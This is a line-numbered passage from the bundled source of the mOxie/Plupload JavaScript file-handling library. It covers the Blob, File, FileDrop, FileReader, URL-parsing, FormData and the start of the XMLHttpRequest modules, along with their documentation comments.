3509 getSource: function() {
3510 if (!blobpool[this.uid]) {
3511 return null;
3512 }
3513 return blobpool[this.uid];
3514 },
3515
3516 /**
3517 Detaches blob from any runtime that it depends on and initialize with standalone value
3518
3519 @method detach
3520 @protected
3521 @param {DOMString} [data=''] Standalone value
3522 */
3523 detach: function(data) {
3524 if (this.ruid) {
3525 this.getRuntime().exec.call(this, 'Blob', 'destroy');
3526 this.disconnectRuntime();
3527 this.ruid = null;
3528 }
3529
3530 data = data || '';
3531
3532 // if dataUrl, convert to binary string
3533 if (data.substr(0, 5) == 'data:') {
3534 var base64Offset = data.indexOf(';base64,');
3535 this.type = data.substring(5, base64Offset);
3536 data = Encode.atob(data.substring(base64Offset + 8));
3537 }
3538
3539 this.size = data.length;
3540
3541 blobpool[this.uid] = data;
3542 },
3543
3544 /**
3545 Checks if blob is standalone (detached of any runtime)
3546
3547 @method isDetached
3548 @protected
3549 @return {Boolean}
3550 */
3551 isDetached: function() {
3552 return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
3553 },
3554
3555 /**
3556 Destroy Blob and free any resources it was using
3557
3558 @method destroy
3559 */
3560 destroy: function() {
3561 this.detach();
3562 delete blobpool[this.uid];
3563 }
3564 });
3565
3566
3567 if (blob.data) {
3568 this.detach(blob.data); // auto-detach if payload has been passed
3569 } else {
3570 blobpool[this.uid] = blob;
3571 }
3572 }
3573
3574 return Blob;
3575});
3576
3577// Included from: src/javascript/file/File.js
3578
3579/**
3580 * File.js
3581 *
3582 * Copyright 2013, Moxiecode Systems AB
3583 * Released under GPL License.
3584 *
3585 * License: http://www.plupload.com/license
3586 * Contributing: http://www.plupload.com/contributing
3587 */
3588
3589define('moxie/file/File', [
3590 'moxie/core/utils/Basic',
3591 'moxie/core/utils/Mime',
3592 'moxie/file/Blob'
3593], function(Basic, Mime, Blob) {
3594 /**
3595 @class File
3596 @extends Blob
3597 @constructor
3598 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3599 @param {Object} file Object "Native" file object, as it is represented in the runtime
3600 */
3601 function File(ruid, file) {
3602 if (!file) { // avoid extra errors in case we overlooked something
3603 file = {};
3604 }
3605
3606 Blob.apply(this, arguments);
3607
3608 if (!this.type) {
3609 this.type = Mime.getFileMime(file.name);
3610 }
3611
3612 // sanitize file name or generate new one
3613 var name;
3614 if (file.name) {
3615 name = file.name.replace(/\\/g, '/');
3616 name = name.substr(name.lastIndexOf('/') + 1);
3617 } else if (this.type) {
3618 var prefix = this.type.split('/')[0];
3619 name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
3620
3621 if (Mime.extensions[this.type]) {
3622 name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
3623 }
3624 }
3625
3626
3627 Basic.extend(this, {
3628 /**
3629 File name
3630
3631 @property name
3632 @type {String}
3633 @default UID
3634 */
3635 name: name || Basic.guid('file_'),
3636
3637 /**
3638 Relative path to the file inside a directory
3639
3640 @property relativePath
3641 @type {String}
3642 @default ''
3643 */
3644 relativePath: '',
3645
3646 /**
3647 Date of last modification
3648
3649 @property lastModifiedDate
3650 @type {String}
3651 @default now
3652 */
3653 lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
3654 });
3655 }
3656
3657 File.prototype = Blob.prototype;
3658
3659 return File;
3660});
3661
3662// Included from: src/javascript/file/FileDrop.js
3663
3664/**
3665 * FileDrop.js
3666 *
3667 * Copyright 2013, Moxiecode Systems AB
3668 * Released under GPL License.
3669 *
3670 * License: http://www.plupload.com/license
3671 * Contributing: http://www.plupload.com/contributing
3672 */
3673
3674define('moxie/file/FileDrop', [
3675 'moxie/core/I18n',
3676 'moxie/core/utils/Dom',
3677 'moxie/core/Exceptions',
3678 'moxie/core/utils/Basic',
3679 'moxie/core/utils/Env',
3680 'moxie/file/File',
3681 'moxie/runtime/RuntimeClient',
3682 'moxie/core/EventTarget',
3683 'moxie/core/utils/Mime'
3684], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
3685 /**
3686 Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used
3687 in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through
3688 _XMLHttpRequest_.
3689
3690 @example
3691 <div id="drop_zone">
3692 Drop files here
3693 </div>
3694 <br />
3695 <div id="filelist"></div>
3696
3697 <script type="text/javascript">
3698 var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');
3699
3700 fileDrop.ondrop = function() {
3701 mOxie.each(this.files, function(file) {
3702 fileList.innerHTML += '<div>' + file.name + '</div>';
3703 });
3704 };
3705
3706 fileDrop.init();
3707 </script>
3708
3709 @class FileDrop
3710 @constructor
3711 @extends EventTarget
3712 @uses RuntimeClient
3713 @param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
3714 @param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
3715 @param {Array} [options.accept] Array of mime types to accept. By default accepts all
3716 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
3717 */
3718 var dispatches = [
3719 /**
3720 Dispatched when runtime is connected and drop zone is ready to accept files.
3721
3722 @event ready
3723 @param {Object} event
3724 */
3725 'ready',
3726
3727 /**
3728 Dispatched when dragging cursor enters the drop zone.
3729
3730 @event dragenter
3731 @param {Object} event
3732 */
3733 'dragenter',
3734
3735 /**
3736 Dispatched when dragging cursor leaves the drop zone.
3737
3738 @event dragleave
3739 @param {Object} event
3740 */
3741 'dragleave',
3742
3743 /**
3744 Dispatched when file is dropped onto the drop zone.
3745
3746 @event drop
3747 @param {Object} event
3748 */
3749 'drop',
3750
3751 /**
3752 Dispatched if error occurs.
3753
3754 @event error
3755 @param {Object} event
3756 */
3757 'error'
3758 ];
3759
3760 function FileDrop(options) {
3761 if (MXI_DEBUG) {
3762 Env.log("Instantiating FileDrop...");
3763 }
3764
3765 var self = this, defaults;
3766
3767 // if flat argument passed it should be drop_zone id
3768 if (typeof(options) === 'string') {
3769 options = { drop_zone : options };
3770 }
3771
3772 // figure out the options
3773 defaults = {
3774 accept: [{
3775 title: I18n.translate('All Files'),
3776 extensions: '*'
3777 }],
3778 required_caps: {
3779 drag_and_drop: true
3780 }
3781 };
3782
3783 options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;
3784
3785 // this will help us to find proper default container
3786 options.container = Dom.get(options.drop_zone) || document.body;
3787
3788 // make container relative, if it is not
3789 if (Dom.getStyle(options.container, 'position') === 'static') {
3790 options.container.style.position = 'relative';
3791 }
3792
3793 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3794 if (typeof(options.accept) === 'string') {
3795 options.accept = Mime.mimes2extList(options.accept);
3796 }
3797
3798 RuntimeClient.call(self);
3799
3800 Basic.extend(self, {
3801 uid: Basic.guid('uid_'),
3802
3803 ruid: null,
3804
3805 files: null,
3806
3807 init: function() {
3808 self.bind('RuntimeInit', function(e, runtime) {
3809 self.ruid = runtime.uid;
3810 runtime.exec.call(self, 'FileDrop', 'init', options);
3811 self.dispatchEvent('ready');
3812 });
3813
3814 // runtime needs: options.required_features, options.runtime_order and options.container
3815 self.connectRuntime(options); // throws RuntimeError
3816 },
3817
3818 destroy: function() {
3819 var runtime = this.getRuntime();
3820 if (runtime) {
3821 runtime.exec.call(this, 'FileDrop', 'destroy');
3822 this.disconnectRuntime();
3823 }
3824 this.files = null;
3825
3826 this.unbindAll();
3827 }
3828 });
3829
3830 this.handleEventProps(dispatches);
3831 }
3832
3833 FileDrop.prototype = EventTarget.instance;
3834
3835 return FileDrop;
3836});
3837
3838// Included from: src/javascript/file/FileReader.js
3839
3840/**
3841 * FileReader.js
3842 *
3843 * Copyright 2013, Moxiecode Systems AB
3844 * Released under GPL License.
3845 *
3846 * License: http://www.plupload.com/license
3847 * Contributing: http://www.plupload.com/contributing
3848 */
3849
3850define('moxie/file/FileReader', [
3851 'moxie/core/utils/Basic',
3852 'moxie/core/utils/Encode',
3853 'moxie/core/Exceptions',
3854 'moxie/core/EventTarget',
3855 'moxie/file/Blob',
3856 'moxie/runtime/RuntimeClient'
3857], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
3858 /**
3859 Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
3860 interface. Where possible uses native FileReader, where - not falls back to shims.
3861
3862 @class FileReader
3863 @constructor FileReader
3864 @extends EventTarget
3865 @uses RuntimeClient
3866 */
3867 var dispatches = [
3868
3869 /**
3870 Dispatched when the read starts.
3871
3872 @event loadstart
3873 @param {Object} event
3874 */
3875 'loadstart',
3876
3877 /**
3878 Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).
3879
3880 @event progress
3881 @param {Object} event
3882 */
3883 'progress',
3884
3885 /**
3886 Dispatched when the read has successfully completed.
3887
3888 @event load
3889 @param {Object} event
3890 */
3891 'load',
3892
3893 /**
3894 Dispatched when the read has been aborted. For instance, by invoking the abort() method.
3895
3896 @event abort
3897 @param {Object} event
3898 */
3899 'abort',
3900
3901 /**
3902 Dispatched when the read has failed.
3903
3904 @event error
3905 @param {Object} event
3906 */
3907 'error',
3908
3909 /**
3910 Dispatched when the request has completed (either in success or failure).
3911
3912 @event loadend
3913 @param {Object} event
3914 */
3915 'loadend'
3916 ];
3917
3918 function FileReader() {
3919
3920 RuntimeClient.call(this);
3921
3922 Basic.extend(this, {
3923 /**
3924 UID of the component instance.
3925
3926 @property uid
3927 @type {String}
3928 */
3929 uid: Basic.guid('uid_'),
3930
3931 /**
3932 Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
3933 and FileReader.DONE.
3934
3935 @property readyState
3936 @type {Number}
3937 @default FileReader.EMPTY
3938 */
3939 readyState: FileReader.EMPTY,
3940
3941 /**
3942 Result of the successful read operation.
3943
3944 @property result
3945 @type {String}
3946 */
3947 result: null,
3948
3949 /**
3950 Stores the error of failed asynchronous read operation.
3951
3952 @property error
3953 @type {DOMError}
3954 */
3955 error: null,
3956
3957 /**
3958 Initiates reading of File/Blob object contents to binary string.
3959
3960 @method readAsBinaryString
3961 @param {Blob|File} blob Object to preload
3962 */
3963 readAsBinaryString: function(blob) {
3964 _read.call(this, 'readAsBinaryString', blob);
3965 },
3966
3967 /**
3968 Initiates reading of File/Blob object contents to dataURL string.
3969
3970 @method readAsDataURL
3971 @param {Blob|File} blob Object to preload
3972 */
3973 readAsDataURL: function(blob) {
3974 _read.call(this, 'readAsDataURL', blob);
3975 },
3976
3977 /**
3978 Initiates reading of File/Blob object contents to string.
3979
3980 @method readAsText
3981 @param {Blob|File} blob Object to preload
3982 */
3983 readAsText: function(blob) {
3984 _read.call(this, 'readAsText', blob);
3985 },
3986
3987 /**
3988 Aborts preloading process.
3989
3990 @method abort
3991 */
3992 abort: function() {
3993 this.result = null;
3994
3995 if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
3996 return;
3997 } else if (this.readyState === FileReader.LOADING) {
3998 this.readyState = FileReader.DONE;
3999 }
4000
4001 this.exec('FileReader', 'abort');
4002
4003 this.trigger('abort');
4004 this.trigger('loadend');
4005 },
4006
4007 /**
4008 Destroy component and release resources.
4009
4010 @method destroy
4011 */
4012 destroy: function() {
4013 this.abort();
4014 this.exec('FileReader', 'destroy');
4015 this.disconnectRuntime();
4016 this.unbindAll();
4017 }
4018 });
4019
4020 // uid must already be assigned
4021 this.handleEventProps(dispatches);
4022
4023 this.bind('Error', function(e, err) {
4024 this.readyState = FileReader.DONE;
4025 this.error = err;
4026 }, 999);
4027
4028 this.bind('Load', function(e) {
4029 this.readyState = FileReader.DONE;
4030 }, 999);
4031
4032
4033 function _read(op, blob) {
4034 var self = this;
4035
4036 this.trigger('loadstart');
4037
4038 if (this.readyState === FileReader.LOADING) {
4039 this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
4040 this.trigger('loadend');
4041 return;
4042 }
4043
4044 // if source is not o.Blob/o.File
4045 if (!(blob instanceof Blob)) {
4046 this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
4047 this.trigger('loadend');
4048 return;
4049 }
4050
4051 this.result = null;
4052 this.readyState = FileReader.LOADING;
4053
4054 if (blob.isDetached()) {
4055 var src = blob.getSource();
4056 switch (op) {
4057 case 'readAsText':
4058 case 'readAsBinaryString':
4059 this.result = src;
4060 break;
4061 case 'readAsDataURL':
4062 this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4063 break;
4064 }
4065 this.readyState = FileReader.DONE;
4066 this.trigger('load');
4067 this.trigger('loadend');
4068 } else {
4069 this.connectRuntime(blob.ruid);
4070 this.exec('FileReader', 'read', op, blob);
4071 }
4072 }
4073 }
4074
4075 /**
4076 Initial FileReader state
4077
4078 @property EMPTY
4079 @type {Number}
4080 @final
4081 @static
4082 @default 0
4083 */
4084 FileReader.EMPTY = 0;
4085
4086 /**
4087 FileReader switches to this state when it is preloading the source
4088
4089 @property LOADING
4090 @type {Number}
4091 @final
4092 @static
4093 @default 1
4094 */
4095 FileReader.LOADING = 1;
4096
4097 /**
4098 Preloading is complete, this is a final state
4099
4100 @property DONE
4101 @type {Number}
4102 @final
4103 @static
4104 @default 2
4105 */
4106 FileReader.DONE = 2;
4107
4108 FileReader.prototype = EventTarget.instance;
4109
4110 return FileReader;
4111});
4112
4113// Included from: src/javascript/core/utils/Url.js
4114
4115/**
4116 * Url.js
4117 *
4118 * Copyright 2013, Moxiecode Systems AB
4119 * Released under GPL License.
4120 *
4121 * License: http://www.plupload.com/license
4122 * Contributing: http://www.plupload.com/contributing
4123 */
4124
4125define('moxie/core/utils/Url', [], function() {
4126 /**
4127 Parse url into separate components and fill in absent parts with parts from current url,
4128 based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js
4129
4130 @method parseUrl
4131 @for Utils
4132 @static
4133 @param {String} url Url to parse (defaults to empty string if undefined)
4134 @return {Object} Hash containing extracted uri components
4135 */
4136 var parseUrl = function(url, currentUrl) {
4137 var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
4138 , i = key.length
4139 , ports = {
4140 http: 80,
4141 https: 443
4142 }
4143 , uri = {}
4144 , regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
4145 , m = regex.exec(url || '')
4146 ;
4147
4148 while (i--) {
4149 if (m[i]) {
4150 uri[key[i]] = m[i];
4151 }
4152 }
4153
4154 // when url is relative, we set the origin and the path ourselves
4155 if (!uri.scheme) {
4156 // come up with defaults
4157 if (!currentUrl || typeof(currentUrl) === 'string') {
4158 currentUrl = parseUrl(currentUrl || document.location.href);
4159 }
4160
4161 uri.scheme = currentUrl.scheme;
4162 uri.host = currentUrl.host;
4163 uri.port = currentUrl.port;
4164
4165 var path = '';
4166 // for urls without trailing slash we need to figure out the path
4167 if (/^[^\/]/.test(uri.path)) {
4168 path = currentUrl.path;
4169 // if path ends with a filename, strip it
4170 if (/\/[^\/]*\.[^\/]*$/.test(path)) {
4171 path = path.replace(/\/[^\/]+$/, '/');
4172 } else {
4173 // avoid double slash at the end (see #127)
4174 path = path.replace(/\/?$/, '/');
4175 }
4176 }
4177 uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
4178 }
4179
4180 if (!uri.port) {
4181 uri.port = ports[uri.scheme] || 80;
4182 }
4183
4184 uri.port = parseInt(uri.port, 10);
4185
4186 if (!uri.path) {
4187 uri.path = "/";
4188 }
4189
4190 delete uri.source;
4191
4192 return uri;
4193 };
4194
4195 /**
4196 Resolve url - among other things will turn relative url to absolute
4197
4198 @method resolveUrl
4199 @static
4200 @param {String|Object} url Either absolute or relative, or a result of parseUrl call
4201 @return {String} Resolved, absolute url
4202 */
4203 var resolveUrl = function(url) {
4204 var ports = { // we ignore default ports
4205 http: 80,
4206 https: 443
4207 }
4208 , urlp = typeof(url) === 'object' ? url : parseUrl(url);
4209 ;
4210
4211 return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
4212 };
4213
4214 /**
4215 Check if specified url has the same origin as the current document
4216
4217 @method hasSameOrigin
4218 @param {String|Object} url
4219 @return {Boolean}
4220 */
4221 var hasSameOrigin = function(url) {
4222 function origin(url) {
4223 return [url.scheme, url.host, url.port].join('/');
4224 }
4225
4226 if (typeof url === 'string') {
4227 url = parseUrl(url);
4228 }
4229
4230 return origin(parseUrl()) === origin(url);
4231 };
4232
4233 return {
4234 parseUrl: parseUrl,
4235 resolveUrl: resolveUrl,
4236 hasSameOrigin: hasSameOrigin
4237 };
4238});
4239
4240// Included from: src/javascript/runtime/RuntimeTarget.js
4241
4242/**
4243 * RuntimeTarget.js
4244 *
4245 * Copyright 2013, Moxiecode Systems AB
4246 * Released under GPL License.
4247 *
4248 * License: http://www.plupload.com/license
4249 * Contributing: http://www.plupload.com/contributing
4250 */
4251
4252define('moxie/runtime/RuntimeTarget', [
4253 'moxie/core/utils/Basic',
4254 'moxie/runtime/RuntimeClient',
4255 "moxie/core/EventTarget"
4256], function(Basic, RuntimeClient, EventTarget) {
4257 /**
4258 Instance of this class can be used as a target for the events dispatched by shims,
4259 when allowing them onto components is for either reason inappropriate
4260
4261 @class RuntimeTarget
4262 @constructor
4263 @protected
4264 @extends EventTarget
4265 */
4266 function RuntimeTarget() {
4267 this.uid = Basic.guid('uid_');
4268
4269 RuntimeClient.call(this);
4270
4271 this.destroy = function() {
4272 this.disconnectRuntime();
4273 this.unbindAll();
4274 };
4275 }
4276
4277 RuntimeTarget.prototype = EventTarget.instance;
4278
4279 return RuntimeTarget;
4280});
4281
4282// Included from: src/javascript/file/FileReaderSync.js
4283
4284/**
4285 * FileReaderSync.js
4286 *
4287 * Copyright 2013, Moxiecode Systems AB
4288 * Released under GPL License.
4289 *
4290 * License: http://www.plupload.com/license
4291 * Contributing: http://www.plupload.com/contributing
4292 */
4293
4294define('moxie/file/FileReaderSync', [
4295 'moxie/core/utils/Basic',
4296 'moxie/runtime/RuntimeClient',
4297 'moxie/core/utils/Encode'
4298], function(Basic, RuntimeClient, Encode) {
4299 /**
4300 Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
4301 it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
4302 but probably < 1mb). Not meant to be used directly by user.
4303
4304 @class FileReaderSync
4305 @private
4306 @constructor
4307 */
4308 return function() {
4309 RuntimeClient.call(this);
4310
4311 Basic.extend(this, {
4312 uid: Basic.guid('uid_'),
4313
4314 readAsBinaryString: function(blob) {
4315 return _read.call(this, 'readAsBinaryString', blob);
4316 },
4317
4318 readAsDataURL: function(blob) {
4319 return _read.call(this, 'readAsDataURL', blob);
4320 },
4321
4322 /*readAsArrayBuffer: function(blob) {
4323 return _read.call(this, 'readAsArrayBuffer', blob);
4324 },*/
4325
4326 readAsText: function(blob) {
4327 return _read.call(this, 'readAsText', blob);
4328 }
4329 });
4330
4331 function _read(op, blob) {
4332 if (blob.isDetached()) {
4333 var src = blob.getSource();
4334 switch (op) {
4335 case 'readAsBinaryString':
4336 return src;
4337 case 'readAsDataURL':
4338 return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4339 case 'readAsText':
4340 var txt = '';
4341 for (var i = 0, length = src.length; i < length; i++) {
4342 txt += String.fromCharCode(src[i]);
4343 }
4344 return txt;
4345 }
4346 } else {
4347 var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
4348 this.disconnectRuntime();
4349 return result;
4350 }
4351 }
4352 };
4353});
4354
4355// Included from: src/javascript/xhr/FormData.js
4356
4357/**
4358 * FormData.js
4359 *
4360 * Copyright 2013, Moxiecode Systems AB
4361 * Released under GPL License.
4362 *
4363 * License: http://www.plupload.com/license
4364 * Contributing: http://www.plupload.com/contributing
4365 */
4366
4367define("moxie/xhr/FormData", [
4368 "moxie/core/Exceptions",
4369 "moxie/core/utils/Basic",
4370 "moxie/file/Blob"
4371], function(x, Basic, Blob) {
4372 /**
4373 FormData
4374
4375 @class FormData
4376 @constructor
4377 */
4378 function FormData() {
4379 var _blob, _fields = [];
4380
4381 Basic.extend(this, {
4382 /**
4383 Append another key-value pair to the FormData object
4384
4385 @method append
4386 @param {String} name Name for the new field
4387 @param {String|Blob|Array|Object} value Value for the field
4388 */
4389 append: function(name, value) {
4390 var self = this, valueType = Basic.typeOf(value);
4391
4392 // according to specs value might be either Blob or String
4393 if (value instanceof Blob) {
4394 _blob = {
4395 name: name,
4396 value: value // unfortunately we can only send single Blob in one FormData
4397 };
4398 } else if ('array' === valueType) {
4399 name += '[]';
4400
4401 Basic.each(value, function(value) {
4402 self.append(name, value);
4403 });
4404 } else if ('object' === valueType) {
4405 Basic.each(value, function(value, key) {
4406 self.append(name + '[' + key + ']', value);
4407 });
4408 } else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
4409 self.append(name, "false");
4410 } else {
4411 _fields.push({
4412 name: name,
4413 value: value.toString()
4414 });
4415 }
4416 },
4417
4418 /**
4419 Checks if FormData contains Blob.
4420
4421 @method hasBlob
4422 @return {Boolean}
4423 */
4424 hasBlob: function() {
4425 return !!this.getBlob();
4426 },
4427
4428 /**
4429 Retrieves blob.
4430
4431 @method getBlob
4432 @return {Object} Either Blob if found or null
4433 */
4434 getBlob: function() {
4435 return _blob && _blob.value || null;
4436 },
4437
4438 /**
4439 Retrieves blob field name.
4440
4441 @method getBlobName
4442 @return {String} Either Blob field name or null
4443 */
4444 getBlobName: function() {
4445 return _blob && _blob.name || null;
4446 },
4447
4448 /**
4449 Loop over the fields in FormData and invoke the callback for each of them.
4450
4451 @method each
4452 @param {Function} cb Callback to call for each field
4453 */
4454 each: function(cb) {
4455 Basic.each(_fields, function(field) {
4456 cb(field.value, field.name);
4457 });
4458
4459 if (_blob) {
4460 cb(_blob.value, _blob.name);
4461 }
4462 },
4463
4464 destroy: function() {
4465 _blob = null;
4466 _fields = [];
4467 }
4468 });
4469 }
4470
4471 return FormData;
4472});
4473
4474// Included from: src/javascript/xhr/XMLHttpRequest.js
4475
4476/**
4477 * XMLHttpRequest.js
4478 *
4479 * Copyright 2013, Moxiecode Systems AB
4480 * Released under GPL License.
4481 *
4482 * License: http://www.plupload.com/license
4483 * Contributing: http://www.plupload.com/contributing
4484 */
4485
4486define("moxie/xhr/XMLHttpRequest", [
4487 "moxie/core/utils/Basic",
4488 "moxie/core/Exceptions",
4489 "moxie/core/EventTarget",
4490 "moxie/core/utils/Encode",
4491 "moxie/core/utils/Url",
4492 "moxie/runtime/Runtime",
4493 "moxie/runtime/RuntimeTarget",
4494 "moxie/file/Blob",
4495 "moxie/file/FileReaderSync",
4496 "moxie/xhr/FormData",
4497 "moxie/core/utils/Env",
4498 "moxie/core/utils/Mime"
4499], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {
4500
4501 var httpCode = {
4502 100: 'Continue',
4503 101: 'Switching Protocols',
4504 102: 'Processing',
4505
4506 200: 'OK',
4507 201: 'Created',
4508 202: 'Accepted',
4509 203: 'Non-Authoritative Information',
4510 204: 'No Content',
4511 205: 'Reset Content',
4512 206: 'Partial Content',
4513 207: 'Multi-Status',
4514 226: 'IM Used',
4515
4516 300: 'Multiple Choices',
4517 301: 'Moved Permanently',
4518 302: 'Found',
4519 303: 'See Other',
4520 304: 'Not Modified',
4521 305: 'Use Proxy',
4522 306: 'Reserved',
4523 307: 'Temporary Redirect',
4524
4525 400: 'Bad Request',
4526 401: 'Unauthorized',
4527 402: 'Payment Required',
4528 403: 'Forbidden',
4529 404: 'Not Found',
4530 405: 'Method Not Allowed',
4531 406: 'Not Acceptable',
4532 407: 'Proxy Authentication Required',
4533 408: 'Request Timeout',
4534 409: 'Conflict',
4535 410: 'Gone',
4536 411: 'Length Required',
4537 412: 'Precondition Failed',
4538 413: 'Request Entity Too Large',
4539 414: 'Request-URI Too Long',
4540 415: 'Unsupported Media Type',
4541 416: 'Requested Range Not Satisfiable',
4542 417: 'Expectation Failed',
4543 422: 'Unprocessable Entity',
4544 423: 'Locked',
4545 424: 'Failed Dependency',
4546 426: 'Upgrade Required',
4547
4548 500: 'Internal Server Error',
4549 501: 'Not Implemented',
4550 502: 'Bad Gateway',
4551 503: 'Service Unavailable',
4552 504: 'Gateway Timeout',
4553 505: 'HTTP Version Not Supported',
4554 506: 'Variant Also Negotiates',
4555 507: 'Insufficient Storage',
4556 510: 'Not Extended'
4557 };
4558
4559 function XMLHttpRequestUpload() {
4560 this.uid = Basic.guid('uid_');
4561 }
4562
4563 XMLHttpRequestUpload.prototype = EventTarget.instance;
4564
4565 /**
4566 Implementation of XMLHttpRequest
4567
4568 @class XMLHttpRequest
4569 @constructor
4570 @uses RuntimeClient
4571 @extends EventTarget
4572 */
4573 var dispatches = [
4574 'loadstart',
4575
4576 'progress',
4577
4578 'abort',
4579
4580 'error',
4581
4582 'load',
4583
4584 'timeout',
4585
4586 'loadend'
4587
4588 // readystatechange (for historical reasons)
4589 ];
4590
4591 var NATIVE = 1, RUNTIME = 2;
4592
4593 function XMLHttpRequest() {
4594 var self = this,
4595 // this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
4596 props = {
4597 /**
4598 The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.
4599
4600 @property timeout
4601 @type Number
4602 @default 0
4603 */
4604 timeout: 0,
4605
4606 /**
4607 Current state, can take following values:
4608 UNSENT (numeric value 0)
4609 The object has been constructed.
4610
4611 OPENED (numeric value 1)
4612 The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.
4613
4614 HEADERS_RECEIVED (numeric value 2)
4615 All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.
4616
4617 LOADING (numeric value 3)
4618 The response entity body is being received.
4619
4620 DONE (numeric value 4)
4621
4622 @property readyState
4623 @type Number
4624 @default 0 (UNSENT)
4625 */
4626 readyState: XMLHttpRequest.UNSENT,
4627
4628 /**
4629 True when user credentials are to be included in a cross-origin request. False when they are to be excluded
4630 in a cross-origin request and when cookies are to be ignored in its response. Initially false.
4631
4632 @property withCredentials
4633 @type Boolean
4634 @default false
4635 */
4636 withCredentials: false,
4637
4638 /**
4639 Returns the HTTP status code.
4640
4641 @property status
4642 @type Number
4643 @default 0
4644 */
4645 status: 0,
4646
4647 /**
4648 Returns the HTTP status text.
4649
4650 @property statusText
4651 @type String
4652 */
4653 statusText: "",
4654
4655 /**
4656 Returns the response type. Can be set to change the response type. Values are:
4657 the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
4658
4659 @property responseType
4660 @type String
4661 */
4662 responseType: "",
4663
4664 /**
4665 Returns the document response entity body.
4666
4667 Throws an "InvalidStateError" exception if responseType is not the empty string or "document".
4668
4669 @property responseXML
4670 @type Document
4671 */
4672 responseXML: null,
4673
4674 /**
4675 Returns the text response entity body.
4676
4677 Throws an "InvalidStateError" exception if responseType is not the empty string or "text".
4678
4679 @property responseText
4680 @type String
4681 */
4682 responseText: null,
4683
4684 /**
4685 Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
4686 Can become: ArrayBuffer, Blob, Document, JSON, Text
4687
4688 @property response
4689 @type Mixed
4690 */
4691 response: null
4692 },
4693
4694 _async = true,
4695 _url,
4696 _method,
4697 _headers = {},
4698 _user,
4699 _password,
4700 _encoding = null,
4701 _mimeType = null,
4702
4703 // flags
4704 _sync_flag = false,
4705 _send_flag = false,
4706 _upload_events_flag = false,
4707 _upload_complete_flag = false,
4708 _error_flag = false,
4709 _same_origin_flag = false,
4710
4711 // times
4712 _start_time,
4713 _timeoutset_time,
4714
4715 _finalMime = null,
4716 _finalCharset = null,
4717
4718 _options = {},
4719 _xhr,
4720 _responseHeaders = '',
4721 _responseHeadersBag
4722 ;
4723
4724
4725 Basic.extend(this, props, {
4726 /**
4727 Unique id of the component
4728
4729 @property uid
4730 @type String
4731 */
4732 uid: Basic.guid('uid_'),
4733
4734 /**
4735 Target for Upload events
4736
4737 @property upload
4738 @type XMLHttpRequestUpload
4739 */
4740 upload: new XMLHttpRequestUpload(),
4741
4742
4743 /**
4744 Sets the request method, request URL, synchronous flag, request username, and request password.
4745
4746 Throws a "SyntaxError" exception if one of the following is true:
4747
4748 method is not a valid HTTP method.
4749 url cannot be resolved.
4750 url contains the "user:password" format in the userinfo production.
4751 Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.
4752
4753 Throws an "InvalidAccessError" exception if one of the following is true:
4754
4755 Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
4756 There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
4757 the withCredentials attribute is true, or the responseType attribute is not the empty string.
4758
4759
4760 @method open
4761 @param {String} method HTTP method to use on request
4762 @param {String} url URL to request
4763 @param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
4764 @param {String} [user] Username to use in HTTP authentication process on server-side
4765 @param {String} [password] Password to use in HTTP authentication process on server-side
4766 */
4767 open: function(method, url, async, user, password) {
4768 var urlp;
4769
4770 // first two arguments are required
4771 if (!method || !url) {
4772 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4773 }
4774
